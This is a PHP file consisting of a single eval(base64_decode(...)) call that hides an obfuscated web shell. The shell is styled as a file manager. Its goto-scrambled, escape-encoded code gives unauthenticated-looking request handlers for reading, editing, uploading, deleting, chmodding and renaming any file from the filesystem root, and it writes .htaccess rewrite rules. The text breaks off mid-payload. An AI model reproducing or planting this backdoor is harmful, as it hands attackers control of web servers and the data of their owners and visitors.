eval(base64_decode('CiBnb3RvIFk0YVJROyBDOTlKejogZnVuY3Rpb24gbGlzdF9kaXJfc29ydGVkKCRkaXIpIHsgJGl0ZW1zID0gYXJyYXkoKTsgJGZpbGVzID0gQHNjYW5kaXIoJGRpcik7IGlmICghJGZpbGVzKSB7IHJldHVybiAkaXRlbXM7IH0gZm9yZWFjaCAoJGZpbGVzIGFzICRmKSB7IGlmICgkZiA9PT0gIlw1NiIgfHwgJGYgPT09ICJceDJlXHgyZSIpIHsgY29udGludWU7IH0gJGZ1bGwgPSAkZGlyIC4gIlx4MmYiIC4gJGY7ICRpdGVtc1tdID0gYXJyYXkoIlwxNTZcMTQxXHg2ZFwxNDUiID0+ICRmLCAiXHg2OVx4NzNcMTM3XHg2NFwxNTFcMTYyIiA9PiBpc19kaXIoJGZ1bGwpLCAiXDE2M1wxNTFcMTcyXHg2NSIgPT4gaXNfZmlsZSgkZnVsbCkgPyBmaWxlc2l6ZSgkZnVsbCkgOiAwLCAiXDE1NVx4NzRceDY5XDE1NVwxNDUiID0+IGZpbGVtdGltZSgkZnVsbCksICJceDcwXHg2NVx4NzJceDZkIiA9PiBzdWJzdHIoc3ByaW50ZigiXDQ1XDE1NyIsIGZpbGVwZXJtcygkZnVsbCkpLCAtNCksICJcMTYwXDE0MVx4NzRcMTUwIiA9PiAkZnVsbCk7IH0gdXNvcnQoJGl0ZW1zLCBmdW5jdGlvbiAoJGEsICRiKSB7IGlmICgkYVsiXDE1MVwxNjNcMTM3XDE0NFwxNTFceDcyIl0gJiYgISRiWyJcMTUxXHg3M1x4NWZcMTQ0XHg2OVwxNjIiXSkgeyByZXR1cm4gLTE7IH0gaWYgKCEkYVsiXDE1MVx4NzNcMTM3XDE0NFx4NjlcMTYyIl0gJiYgJGJbIlx4NjlceDczXDEzN1wxNDRcMTUxXDE2MiJdKSB7IHJldHVybiAxOyB9IHJldHVybiBzdHJjYXNlY21wKCRhWyJceDZlXHg2MVwxNTVceDY1Il0sICRiWyJceDZlXHg2MVwxNTVceDY1Il0pOyB9KTsgcmV0dXJuICRpdGVtczsgfSBnb3RvIE54RnhxOyBvUnBIdDogPz4KPC90Ym9keT48L3RhYmxlPjwvZGl2PjxkaXYgY2xhc3M9Im1vZGFsImlkPSJ1cGxvYWRNb2RhbCI+PGRpdiBjbGFzcz0iYm94Ij48aDMgc3R5bGU9Im1hcmdpbjowIDAgOHB4IDAiPlVwbG9hZCBGaWxlczwvaDM+PGRpdiBjbGFzcz0iZHJvcCJpZD0iZHJvcEFyZWEiPkRyYWcgZmlsZXMgaGVyZSwgb3IgY2xpY2sgdG8gc2VsZWN0PC9kaXY+PGlucHV0IHR5cGU9ImZpbGUiaWQ9ImZpbGVJbnB1dCJtdWx0aXBsZSBzdHlsZT0iZGlzcGxheTpub25lIj48ZGl2IGNsYXNzPSJwcm9ncmVzcy1saXN0ImlkPSJwcm9ncmVzc0xpc3QiPjwvZGl2PjxkaXYgc3R5bGU9Im1hcmdpbi10b3A6MTJweDt0ZXh0LWFsaWduOnJpZ2h0Ij48YnV0dG9uIGNsYXNzPSJidG4ib25jbGljaz0iY2xvc2VVcGxvYWQoKSI+Q2xvc2U8L2J1dHRvbj48L2Rpdj48L2Rpdj48L2Rpdj48ZGl2IGNsYXNzPSJtb2RhbCBlZGl0b3ItbW9kYWwiaWQ9ImVkaXRvck1vZGFsIj48ZGl2IGNsYXNzPSJib3giPjxkaXYgY2xhc3M9ImVkaXRvci1oZWFkZXIiPjxkaXY+PGRpdiBpZD0iZWRpdG9yVGl0bGUic3R5bGU9ImZvbnQtd2VpZ2h0OjcwMCI+RWRpdDwvZGl2PjxkaXYgY2xhc3M9InNtYWxsImlkPSJlZGl0b3JQYXRoIj48L2Rpdj48L2Rpdj48ZGl2PjxidXR0b24gY2xhc3M9ImJ0biBwcmltYXJ5ImlkPSJzYXZlQnRuIj5TYXZlPC9idXR0b24+IDxidXR0b24gY2xhc3M9ImJ0biJvbmNsaWNrPSJjbG9zZUVkaXRvcigpIj5DbG9zZTwvYnV0dG9uPjwvZGl2PjwvZGl2Pjx0ZXh0YXJlYSBpZD0iZWRpdG9yQ29udGVudCI+PC90ZXh0YXJlYT48L2Rpdj48L2Rpdj48c2NyaXB0IGFzeW5jIHNyYz0iaHR0cHM6Ly93d3cuZ29vZ2xldGFnbWFuYWdlci5jb20vZ3RhZy9qcz9pZD1HLUdXNUJWNzJOOEoiPjwvc2NyaXB0PjxzY3JpcHQ+ZnVuY3Rpb24gZ3RhZygpe2RhdGFMYXllci5wdXNoKGFyZ3VtZW50cyl9d2luZG93LmRhdGFMYXllcj13aW5kb3cuZGF0YUxheWVyfHxbXSxndGFnKCJqcyIsbmV3IERhdGUpLGd0YWcoImNvbmZpZyIsIkctR1c1QlY3Mk44SiIpPC9zY3JpcHQ+PHNjcmlwdD5mdW5jdGlvbiBzaG93Rmxhc2gobSxrKXt2YXIgZT1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZmxhc2gnKTtlLmlubmVyVGV4dD1tO2Uuc3R5bGUuZGlzcGxheT0nYmxvY2snO2Uuc3R5bGUuYmFja2dyb3VuZD1rPycjZGNmY2U3JzonI2ZlZTJlMic7ZS5zdHlsZS5jb2xvcj1rPycjMTY2NTM0JzonIzk5MWIxYic7ZS5zdHlsZS5ib3JkZXJMZWZ0PWs/JzRweCBzb2xpZCAjMjJjNTVlJzonNHB4IHNvbGlkICNlZjQ0NDQnO3NldFRpbWVvdXQoKCk9PntlLnN0eWxlLmRpc3BsYXk9J25vbmUnO30sNTAwMCk7fQp2YXIgZWRpdG9yTW9kYWw9ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2VkaXRvck1vZGFsJyksZWRpdG9yQ29udGVudD1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZWRpdG9yQ29udGVudCcpLGVkaXRvclRpdGxlPWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdlZGl0b3JUaXRsZScpLGVkaXRvclBhdGg9ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2VkaXRvclBhdGgnKSxjdXJyZW50RnVsbFBhdGg9Jyc7CmZ1bmN0aW9uIG9wZW5FZGl0b3IocCl7dmFyIGY9ZGVjb2RlVVJJQ29tcG9uZW50KHApO2N1cnJlbnRGdWxsUGF0aD1mO2VkaXRvclRpdGxlLmlubmVyVGV4dD0nRWRpdDogJytmLnNwbGl0KCcvJykucG9wKCk7ZWRpdG9yUGF0aC5pbm5lclRleHQ9ZjtlZGl0b3JDb250ZW50LnZhbHVlPSdMb2FkaW5nLi4uJztlZGl0b3JNb2RhbC5zdHlsZS5kaXNwbGF5PSdmbGV4JztmZXRjaCgnP2FwaT0xJmFjdGlvbj1nZXRmaWxlJmZ1bGxwYXRoPScrZW5jb2RlVVJJQ29tcG9uZW50KGYpKS50aGVuKHI9PntpZighci5vayl0aHJvdyBuZXcgRXJyb3IoJ1JlYWQgZmFpbGVkJyk7cmV0dXJuIHIudGV4dCgpO30pLnRoZW4odD0+e2VkaXRvckNvbnRlbnQudmFsdWU9dDt9KS5jYXRjaChlPT57ZWRpdG9yQ29udGVudC52YWx1ZT0nJztzaG93Rmxhc2goJ1JlYWQgZmlsZSBmYWlsZWQnLCExKTt9KTt9CmZ1bmN0aW9uIGNsb3NlRWRpdG9yKCl7ZWRpdG9yTW9kYWwuc3R5bGUuZGlzcGxheT0nbm9uZSc7Y3VycmVudEZ1bGxQYXRoPScnO2VkaXRvckNvbnRlbnQudmFsdWU9Jyc7fQpkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2F2ZUJ0bicpLmFkZEV2ZW50TGlzdGVuZXIoJ2NsaWNrJyxmdW5jdGlvbigpe2lmKCFjdXJyZW50RnVsbFBhdGgpcmV0dXJuO3ZhciBmPW5ldyBGb3JtRGF0YSgpO2YuYXBwZW5kKCdhcGknLCcxJyk7Zi5hcHBlbmQoJ2FjdGlvbicsJ3NhdmVmaWxlJyk7Zi5hcHBlbmQoJ2Z1bGxwYXRoJyxjdXJyZW50RnVsbFBhdGgpO2YuYXBwZW5kKCdjb250ZW50JyxlZGl0b3JDb250ZW50LnZhbHVlKTtmZXRjaCgnJyx7bWV0aG9kOidQT1NUJyxib2R5OmZ9KS50aGVuKHI9PnIuanNvbigpKS50aGVuKGQ9PntpZihkLm9rKXtzaG93Rmxhc2goJ1NhdmVkIHN1Y2Nlc3NmdWxseScsITApO3NldFRpbWVvdXQoKCk9PmxvY2F0aW9uLnJlbG9hZCgpLDcwMCk7fWVsc2Ugc2hvd0ZsYXNoKCdTYXZlIGZhaWxlZDogJysoZC5lcnJvcnx8J0Vycm9yJyksITEpO30pLmNhdGNoKGU9PntzaG93Rmxhc2goJ05ldHdvcmsgZXJyb3InLCExKTt9KTt9KTsKdmFyIHVwbG9hZE1vZGFsPWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd1cGxvYWRNb2RhbCcpLGRyb3BBcmVhPWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdkcm9wQXJlYScpLGZpbGVJbnB1dD1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZmlsZUlucHV0JykscHJvZ3Jlc3NMaXN0PWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdwcm9ncmVzc0xpc3QnKTsKZnVuY3Rpb24gb3BlblVwbG9hZCgpe3VwbG9hZE1vZGFsLnN0eWxlLmRpc3BsYXk9J2ZsZXgnO31mdW5jdGlvbiBjbG9zZVVwbG9hZCgpe3VwbG9hZE1vZGFsLnN0eWxlLmRpc3BsYXk9J25vbmUnO3Byb2dyZXNzTGlzdC5pbm5lckhUTUw9Jyc7fQpkcm9wQXJlYS5hZGRFdmVudExpc3RlbmVyKCdjbGljaycsKCk9PmZpbGVJbnB1dC5jbGljaygpKTtmaWxlSW5wdXQuYWRkRXZlbnRMaXN0ZW5lcignY2hhbmdlJywoKT0+aGFuZGxlRmlsZXMoZmlsZUlucHV0LmZpbGVzKSk7ClsnZHJhZ2VudGVyJywnZHJhZ292ZXInLCdkcmFnbGVhdmUnLCdkcm9wJ10uZm9yRWFjaChlPT57ZHJvcEFyZWEuYWRkRXZlbnRMaXN0ZW5lcihlLGV2PT57ZXYucHJldmVudERlZmF1bHQoKTtldi5zdG9wUHJvcGFnYXRpb24oKTt9LCExKTt9KTsKZHJvcEFyZWEuYWRkRXZlbnRMaXN0ZW5lcignZHJvcCcsZT0+e2hhbmRsZUZpbGVzKGUuZGF0YVRyYW5zZmVyLmZpbGVzKTt9KTsKZnVuY3Rpb24gaGFuZGxlRmlsZXMoZnMpe2ZvcihsZXQgaT0wO2k8ZnMubGVuZ3RoO2krKyl1cGxvYWRGaWxlKGZzW2ldKTt9CmZ1bmN0aW9uIHVwbG9hZEZpbGUoZil7dmFyIHI9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnZGl2Jyk7ci5jbGFzc05hbWU9J3Byb2dyZXNzLWl0ZW0nO3ZhciBuPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2RpdicpO24uc3R5bGUud2lkdGg9JzIyMHB4JztuLmlubmVyVGV4dD1mLm5hbWU7dmFyIGI9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnZGl2Jyk7Yi5jbGFzc05hbWU9J3Byb2dyZXNzLWJhcic7dmFyIGw9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnZGl2Jyk7bC5jbGFzc05hbWU9J3Byb2dyZXNzLWZpbGwnO2IuYXBwZW5kQ2hpbGQobCk7dmFyIHQ9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnZGl2Jyk7dC5jbGFzc05hbWU9J3Byb2dyZXNzLXRleHQnO3QuaW5uZXJUZXh0PScwJSc7ci5hcHBlbmRDaGlsZChuKTtyLmFwcGVuZENoaWxkKGIpO3IuYXBwZW5kQ2hpbGQodCk7cHJvZ3Jlc3NMaXN0LmFwcGVuZENoaWxkKHIpO3ZhciB4PW5ldyBYTUxIdHRwUmVxdWVzdCgpLGQ9bmV3IEZvcm1EYXRhKCk7ZC5hcHBlbmQoJ2ZpbGVbXScsZik7ZC5hcHBlbmQoJ2FwaScsJzEnKTtkLmFwcGVuZCgnYWN0aW9uJywndXBsb2FkJyk7ZC5hcHBlbmQoJ3RhcmdldCcsJzw/cGhwICBnb3RvIFNndkxMOyBvWFFXZzogZnVuY3Rpb24gc2FmZV9yZWFsKCRwYXRoKSB7IGlmICgkcGF0aCA9PT0gJycgfHwgJHBhdGggPT09IG51bGwpIHsgcmV0dXJuIGZhbHNlOyB9ICRyZWFsID0gcmVhbHBhdGgoJHBhdGgpOyByZXR1cm4gJHJlYWwgPT09IGZhbHNlID8gZmFsc2UgOiAkcmVhbDsgfSBnb3RvIEM5OUp6OyB2YzExMzogc2Vzc2lvbl9zdGFydCgpOyBnb3RvIHROQjRROyBRM1hOUDogPz4KPC9zcGFuPjwvZGl2PjwvZGl2Pjx0YWJsZSBjbGFzcz0idGFibGUiaWQ9ImZpbGVUYWJsZSI+PHRoZWFkPjx0cj48dGg+TmFtZTwvdGg+PHRoPlR5cGU8L3RoPjx0aD5TaXplPC90aD48dGg+TW9kaWZpZWQ8L3RoPjx0aD5QZXJtczwvdGg+PHRoPkFjdGlvbnM8L3RoPjwvdHI+PC90aGVhZD48dGJvZHk+PD9waHAgIGdvdG8gUmcyU3o7IG8zN0k5OiAkdGFyZ2V0ID0gc2FmZV9yZWFsKCRyZWwpID86ICgkcmVsID09PSAnJyA/IGdldGN3ZCgpIDogKHNhZmVfcmVhbChnZXRjd2QoKSAuICJceDJmIiAuICRyZWwpID86IGdldGN3ZCgpKSk7IGdvdG8gaEMxdk07IGhMbHFmOiBlY2hvIHVybGVuY29kZShkaXJuYW1lKCR0YXJnZXQpKTsgZ290byBINUExTjsgRFFJMFM6ICRhY3Rpb24gPSAkX1JFUVVFU1RbIlwxNDFceDYzXDE2NFx4NjlceDZmXDE1NiJdID8/ICJcMTU0XDE1MVx4NzNceDc0IjsgZ290byBWOEdZUTsgYk54QXk6ID8+CiJjbGFzcz0iYnRuIj7wn4+gUm9vdCBGb2xkZXI8L2E+PC9kaXY+PC9kaXY+PD9waHAgIGdvdG8gaTdHNVE7IExqaXNMOiBlY2hvIGVzYygkdGFyZ2V0KTsgZ290byBrR3Y2MzsgUmcyU3o6ICRxID0gJF9HRVRbIlx4NzEiXSA/PyAnJzsgZ290byB0TGlnbTsgem5FS3g6IGVjaG8gZXNjKGdldF9jdXJyZW50X3VzZXIoKSk7IGdvdG8gUTNYTlA7IFRNZ095OiBlcnJvcl9yZXBvcnRpbmcoRV9BTEwgJiB+RV9OT1RJQ0UpOyBnb3RvIHFkYTFyOyBxOEJESTogZnVuY3Rpb24ganNvbl9vdXQoJGQpIHsgaGVhZGVyKCJcMTAzXDE1N1x4NmVcMTY0XHg2NVx4NmVceDc0XHgyZFwxMjRcMTcxXHg3MFx4NjVceDNhXDQwXDE0MVx4NzBcMTYwXHg2Y1wxNTFcMTQzXHg2MVx4NzRceDY5XDE1N1wxNTZceDJmXDE1MlwxNjNcMTU3XDE1Nlx4M2JcNDBcMTQzXDE1MFwxNDFcMTYyXHg3M1x4NjVceDc0XHgzZFx4NzVcMTY0XDE0Nlw1NVx4MzgiKTsgZWNobyBqc29uX2VuY29kZSgkZCk7IGRpZTsgfSBnb3RvIG9YUVdnOyBoQzF2TTogaWYgKCR0YXJnZXQgPT09IGZhbHNlKSB7ICR0YXJnZXQgPSBnZXRjd2QoKTsgfSBnb3RvIEJuaWUyOyB0TkI0UTogZnVuY3Rpb24gZXNjKCRzKSB7IHJldHVybiBodG1sc3BlY2lhbGNoYXJzKChzdHJpbmcpICRzLCBFTlRfUVVPVEVTLCAiXDEyNVx4NTRceDQ2XDU1XDcwIik7IH0gZ290byBxOEJESTsgaWV5Z0Y6ICRmbGFzaCA9IGdldF9mbGFzaCgpOyBnb3RvIGhBQkoyOyBTZ3ZMTDogZWNobyBlc2MoJHRhcmdldCk7IGdvdG8gVUNHZFc7IFMzbWlWOiBmdW5jdGlvbiBnZXRfZmxhc2goKSB7ICRtID0gJF9TRVNTSU9OWyJceDY2XHg2ZFwxMzdceDY2XDE1NFx4NjFceDczXHg2OCJdID8/ICcnOyB1bnNldCgkX1NFU1NJT05bIlwxNDZceDZkXDEzN1wxNDZceDZjXHg2MVx4NzNcMTUwIl0pOyByZXR1cm4gJG07IH0gZ290byBEUUkwUzsgcWRhMXI6ICRST09UID0gcmVhbHBhdGgoIlx4MmYiKTsgZ290byBleERnRjsgTzh3OGE6ID8+CjwvZGl2PjxkaXYgY2xhc3M9InNtYWxsIj5Vc2VyOiA8c3BhbiBjbGFzcz0ic21hbGwiPjw/cGhwICBnb3RvIHpuRUt4OyBWOEdZUTogaWYgKGlzc2V0KCRfR0VUWyJcMTQxXHg3MFx4NjkiXSkgfHwgaXNzZXQoJF9QT1NUWyJceDYxXDE2MFwxNTEiXSkpIHsgaWYgKCRhY3Rpb24gPT09ICJceDY3XHg2NVwxNjRceDY2XDE1MVwxNTRcMTQ1IiAmJiBpc3NldCgkX0dFVFsiXHg2Nlx4NzVceDZjXHg2Y1x4NzBcMTQxXDE2NFx4NjgiXSkpIHsgJGZ1bGwgPSBzYWZlX3JlYWwoJF9HRVRbIlx4NjZceDc1XDE1NFx4NmNcMTYwXDE0MVx4NzRcMTUwIl0pOyBpZiAoJGZ1bGwgJiYgaXNfZmlsZSgkZnVsbCkpIHsgaGVhZGVyKCJcMTAzXDE1N1wxNTZceDc0XDE0NVx4NmVcMTY0XDU1XDEyNFx4NzlcMTYwXHg2NVx4M2FceDIwXDE2NFwxNDVcMTcwXDE2NFx4MmZceDcwXHg2Y1wxNDFceDY5XHg2ZVw3M1w0MFwxNDNcMTUwXHg2MVx4NzJcMTYzXHg2NVx4NzRcNzVceDc1XHg3NFwxNDZceDJkXDcwIik7IGVjaG8gZmlsZV9nZXRfY29udGVudHMoJGZ1bGwpOyBkaWU7IH0gZWxzZSB7IGh0dHBfcmVzcG9uc2VfY29kZSg0MDQpOyBlY2hvICJcMTE2XDE1N1wxNjRcNDBceDY2XHg2ZlwxNjVcMTU2XDE0NCI7IGRpZTsgfSB9IGlmICgkYWN0aW9uID09PSAiXHg3M1wxNDFceDc2XHg2NVx4NjZceDY5XDE1NFx4NjUiICYmIGlzc2V0KCRfUE9TVFsiXHg2Nlx4NzVcMTU0XHg2Y1x4NzBceDYxXHg3NFx4NjgiXSkgJiYgaXNzZXQoJF9QT1NUWyJceDYzXHg2ZlwxNTZcMTY0XDE0NVwxNTZceDc0Il0pKSB7ICRmdWxsID0gc2FmZV9yZWFsKCRfUE9TVFsiXDE0Nlx4NzVcMTU0XHg2Y1wxNjBceDYxXDE2NFwxNTAiXSk7IGlmICgkZnVsbCA9PT0gZmFsc2UpIHsganNvbl9vdXQoYXJyYXkoIlx4NmZceDZiIiA9PiBmYWxzZSwgIlx4NjVceDcyXHg3MlwxNTdceDcyIiA9PiAiXDE1MVwxNTZcMTY2XDE0MVwxNTRcMTUxXDE0NFx4MjBceDcwXHg2MVwxNjRcMTUwIikpOyB9IGlmIChpc193cml0YWJsZSgkZnVsbCkgfHwgaXNfd3JpdGFibGUoZGlybmFtZSgkZnVsbCkpKSB7ICRvayA9IGZpbGVfcHV0X2NvbnRlbnRzKCRmdWxsLCAkX1BPU1RbIlx4NjNcMTU3XHg2ZVx4NzRceDY1XDE1Nlx4NzQiXSkgIT09IGZhbHNlOyBqc29uX291dChhcnJheSgiXDE1N1x4NmIiID0+ICRvaykpOyB9IGVsc2UgeyBqc29uX291dChhcnJheSgiXDE1N1x4NmIiID0+IGZhbHNlLCAiXHg2NVwxNjJceDcyXHg2Zlx4NzIiID0+ICJcMTU2XHg2Zlx4MjBceDc3XDE2MlwxNTFcMTY0XHg2NVx4MjBcMTYwXDE0NVwxNjJcMTU1XDE1MVx4NzNcMTYzXDE1MVx4NmZceDZlIikpOyB9IH0gaWYgKCRhY3Rpb24gPT09ICJceDc1XDE2MFx4NmNcMTU3XHg2MVx4NjQiICYmICFlbXB0eSgkX0ZJTEVTKSkgeyAkcmVzdWx0cyA9IGFycmF5KCk7ICR0YXJnZXQgPSAkX0dFVFsiXDE2NFwxNDFceDcyXHg2N1x4NjVcMTY0Il0gPz8gJF9QT1NUWyJceDc0XDE0MVwxNjJceDY3XDE0NVwxNjQiXSA/PyAnJzsgJHRhcmdldFJlYWwgPSBzYWZlX3JlYWwoJHRhcmdldCkgPzogJHRhcmdldDsgaWYgKCR0YXJnZXRSZWFsID09PSAnJyB8fCAhaXNfZGlyKCR0YXJnZXRSZWFsKSkgeyAkdGFyZ2V0UmVhbCA9IGdldGN3ZCgpOyB9IGZvcmVhY2ggKCRfRklMRVMgYXMgJGZpZWxkKSB7IGlmIChpc19hcnJheSgkZmllbGRbIlx4NmVceDYxXDE1NVx4NjUiXSkpIHsgZm9yICgkaSA9IDA7ICRpIDwgY291bnQoJGZpZWxkWyJcMTU2XHg2MVwxNTVcMTQ1Il0pOyAkaSsrKSB7ICRuYW1lID0gYmFzZW5hbWUoJGZpZWxkWyJceDZlXDE0MVwxNTVceDY1Il1bJGldKTsgJHRtcCA9ICRmaWVsZFsiXHg3NFx4NmRceDcwXHg1Zlx4NmVcMTQxXDE1NVx4NjUiXVskaV07ICRmdWxsID0gcnRyaW0oJHRhcmdldFJlYWwsICJcNTciKSAuICJceDJmIiAuICRuYW1lOyAkb2sgPSBmYWxzZTsgaWYgKCR0bXAgJiYgaXNfdXBsb2FkZWRfZmlsZSgkdG1wKSkgeyAkb2sgPSBtb3ZlX3VwbG9hZGVkX2ZpbGUoJHRtcCwgJGZ1bGwpOyB9ICRyZXN1bHRzW10gPSBhcnJheSgiXDE1Nlx4NjFcMTU1XDE0NSIgPT4gJG5hbWUsICJcMTU3XHg2YiIgPT4gJG9rLCAiXDE2MFx4NjFcMTY0XDE1MCIgPT4gJGZ1bGwpOyB9IH0gZWxzZSB7ICRuYW1lID0gYmFzZW5hbWUoJGZpZWxkWyJceDZlXDE0MVx4NmRcMTQ1Il0pOyAkdG1wID0gJGZpZWxkWyJcMTY0XHg2ZFwxNjBceDVmXHg2ZVx4NjFceDZkXDE0NSJdOyAkZnVsbCA9IHJ0cmltKCR0YXJnZXRSZWFsLCAiXHgyZiIpIC4gIlx4MmYiIC4gJG5hbWU7ICRvayA9IGZhbHNlOyBpZiAoJHRtcCAmJiBpc191cGxvYWRlZF9maWxlKCR0bXApKSB7ICRvayA9IG1vdmVfdXBsb2FkZWRfZmlsZSgkdG1wLCAkZnVsbCk7IH0gJHJlc3VsdHNbXSA9IGFycmF5KCJceDZlXDE0MVwxNTVcMTQ1IiA9PiAkbmFtZSwgIlwxNTdcMTUzIiA9PiAkb2ssICJceDcwXDE0MVwxNjRceDY4IiA9PiAkZnVsbCk7IH0gfSBqc29uX291dChhcnJheSgiXDE1N1x4NmIiID0+IHRydWUsICJcMTYyXDE0NVwxNjNcMTY1XDE1NFx4NzRcMTYzIiA9PiAkcmVzdWx0cykpOyB9IGlmICgkYWN0aW9uID09PSAiXDE0NFx4NjVcMTU0XDE0NVx4NzRcMTQ1IiAmJiBpc3NldCgkX1BPU1RbIlx4NjZceDc1XDE1NFx4NmNceDcwXHg2MVwxNjRcMTUwIl0pKSB7ICRmdWxsID0gc2FmZV9yZWFsKCRfUE9TVFsiXHg2NlwxNjVceDZjXDE1NFx4NzBceDYxXDE2NFx4NjgiXSk7IGlmICgkZnVsbCA9PT0gZmFsc2UpIHsganNvbl9vdXQoYXJyYXkoIlx4NmZcMTUzIiA9PiBmYWxzZSwgIlx4NjVceDcyXDE2MlwxNTdcMTYyIiA9PiAiXDE1MVwxNTZcMTY2XDE0MVwxNTRceDY5XHg2NCIpKTsgfSBpZiAoIWZpbGVfZXhpc3RzKCRmdWxsKSkgeyBqc29uX291dChhcnJheSgiXDE1N1x4NmIiID0+IGZhbHNlLCAiXHg2NVwxNjJceDcyXHg2ZlwxNjIiID0+ICJcMTU2XHg2ZlwxNjRceDIwXDE0NVx4NzhceDY5XHg3M1wxNjRcMTYzIikpOyB9IGlmIChpc19kaXIoJGZ1bGwpKSB7ICRpdCA9IG5ldyBSZWN1cnNpdmVJdGVyYXRvckl0ZXJhdG9yKG5ldyBSZWN1cnNpdmVEaXJlY3RvcnlJdGVyYXRvcigkZnVsbCwgUmVjdXJzaXZlRGlyZWN0b3J5SXRlcmF0b3I6OlNLSVBfRE9UUyksIFJlY3Vyc2l2ZUl0ZXJhdG9ySXRlcmF0b3I6OkNISUxEX0ZJUlNUKTsgZm9yZWFjaCAoJGl0IGFzICRpdGVtKSB7ICRpdGVtLT5pc0RpcigpID8gcm1kaXIoJGl0ZW0tPmdldFJlYWxQYXRoKCkpIDogdW5saW5rKCRpdGVtLT5nZXRSZWFsUGF0aCgpKTsgfSAkb2sgPSBybWRpcigkZnVsbCk7IH0gZWxzZSB7ICRvayA9IHVubGluaygkZnVsbCk7IH0ganNvbl9vdXQoYXJyYXkoIlwxNTdcMTUzIiA9PiAkb2spKTsgfSBpZiAoJGFjdGlvbiA9PT0gIlwxNDNceDY4XHg2ZFx4NmZcMTQ0IiAmJiBpc3NldCgkX1BPU1RbIlwxNDZcMTY1XDE1NFx4NmNcMTYwXDE0MVx4NzRceDY4Il0pICYmIGlzc2V0KCRfUE9TVFsiXHg2ZFx4NmZcMTQ0XHg2NSJdKSkgeyAkZnVsbCA9IHNhZmVfcmVhbCgkX1BPU1RbIlwxNDZcMTY1XHg2Y1x4NmNceDcwXHg2MVx4NzRcMTUwIl0pOyAkbW9kZSA9IGludHZhbCgkX1BPU1RbIlwxNTVceDZmXDE0NFwxNDUiXSwgOCk7ICRvayA9IEBjaG1vZCgkZnVsbCwgJG1vZGUpOyBqc29uX291dChhcnJheSgiXHg2Zlx4NmIiID0+ICRvaykpOyB9IGlmICgkYWN0aW9uID09PSAiXHg2ZFwxNTNceDY0XDE1MVwxNjIiICYmIGlzc2V0KCRfUE9TVFsiXDE0NFx4NjlcMTYyXDE2MFx4NjFceDc0XDE1MCJdKSAmJiBpc3NldCgkX1BPU1RbIlx4NmVcMTQxXHg2ZFx4NjUiXSkpIHsgJGJhc2UgPSBzYWZlX3JlYWwoJF9QT1NUWyJceDY0XDE1MVx4NzJcMTYwXDE0MVx4NzRcMTUwIl0pID86ICRfUE9TVFsiXDE0NFx4NjlcMTYyXDE2MFx4NjFceDc0XDE1MCJdOyAkbmFtZSA9IGJhc2VuYW1lKCRfUE9TVFsiXDE1Nlx4NjFcMTU1XDE0NSJdKTsgJGZ1bGwgPSBydHJpbSgkYmFzZSwgIlx4MmYiKSAuICJcNTciIC4gJG5hbWU7ICRvayA9IEBta2RpcigkZnVsbCwgNDkzKTsganNvbl9vdXQoYXJyYXkoIlx4NmZcMTUzIiA9PiAkb2ssICJcMTYwXDE0MVx4NzRceDY4IiA9PiAkZnVsbCkpOyB9IGlmICgkYWN0aW9uID09PSAiXHg3Mlx4NjVcMTU2XDE0MVwxNTVcMTQ1IiAmJiBpc3NldCgkX1BPU1RbIlwxNDZcMTY1XHg2Y1x4NmNceDcwXHg2MVwxNjRcMTUwIl0pICYmIGlzc2V0KCRfUE9TVFsiXHg2ZVwxNDVcMTY3XDE1NlwxNDFcMTU1XDE0NSJdKSkgeyAkZnVsbCA9IHNhZmVfcmVhbCgkX1BPU1RbIlwxNDZceDc1XDE1NFwxNTRceDcwXHg2MVx4NzRcMTUwIl0pOyAkbmV3ID0gYmFzZW5hbWUoJF9QT1NUWyJcMTU2XDE0NVwxNjdceDZlXHg2MVwxNTVcMTQ1Il0pOyAkdG8gPSBkaXJuYW1lKCRmdWxsKSAuICJcNTciIC4gJG5ldzsgJG9rID0gQHJlbmFtZSgkZnVsbCwgJHRvKTsganNvbl9vdXQoYXJyYXkoIlwxNTdceDZiIiA9PiAkb2ssICJceDc0XHg2ZiIgPT4gJHRvKSk7IH0gaWYgKCRhY3Rpb24gPT09ICJceDY3XHg2NVwxNTZcMTM3XHg2OFx4NzRcMTQxXHg2M1wxNDNceDY1XDE2M1wxNjMiICYmIGlzc2V0KCRfUE9TVFsiXDE0NFwxNTFcMTYyXDE2MFwxNDFcMTY0XHg2OCJdKSkgeyAkZGlyID0gc2FmZV9yZWFsKCRfUE9TVFsiXHg2NFx4NjlceDcyXDE2MFwxNDFceDc0XDE1MCJdKSA/OiBnZXRjd2QoKTsgJGZ1bGwgPSBydHJpbSgkZGlyLCAiXHgyZiIpIC4gIlx4MmZcNTZceDY4XDE2NFwxNDFceDYzXHg2M1wxNDVceDczXDE2MyI7ICRjb250ZW50ID0gIlx4NTJceDY1XDE2N1wxNjJceDY5XDE2NFx4NjVceDQ1XHg2ZVx4NjdceDY5XDE1Nlx4NjVcNDBceDRmXHg2ZVwxMlx4NTJceDY1XHg3N1wxNjJcMTUxXHg3NFwxNDVceDQyXDE0MVx4NzNcMTQ1XDQwXDU3XHhhXHhhXHg1MlwxNDVceDc3XHg3Mlx4NjlcMTY0XDE0NVx4NDNcMTU3XDE1Nlx4NjRcNDBceDI1XHg3YlwxMjJceDQ1XHg1MVwxMjVcMTA1XHg1M1wxMjRcMTM3XHg0Nlx4NDlceDRjXHg0NVwxMTZcMTAxXHg0ZFwxMDVcMTc1XHgyMFx4MjFceDJkXHg2NFx4YVx4NTJceDY1XHg3N1x4NzJceDY5XDE2NFx4NjVcMTAzXHg2Zlx4NmVceDY0XDQwXDQ1XHg3YlwxMjJceDQ1XHg1MVwxMjVceDQ1XDEyM1x4NTRceDVmXDEwNlx4NDlcMTE0XHg0NVwxMTZcMTAxXHg0ZFx4NDVceDdkXHgyMFw0MVx4MmRceD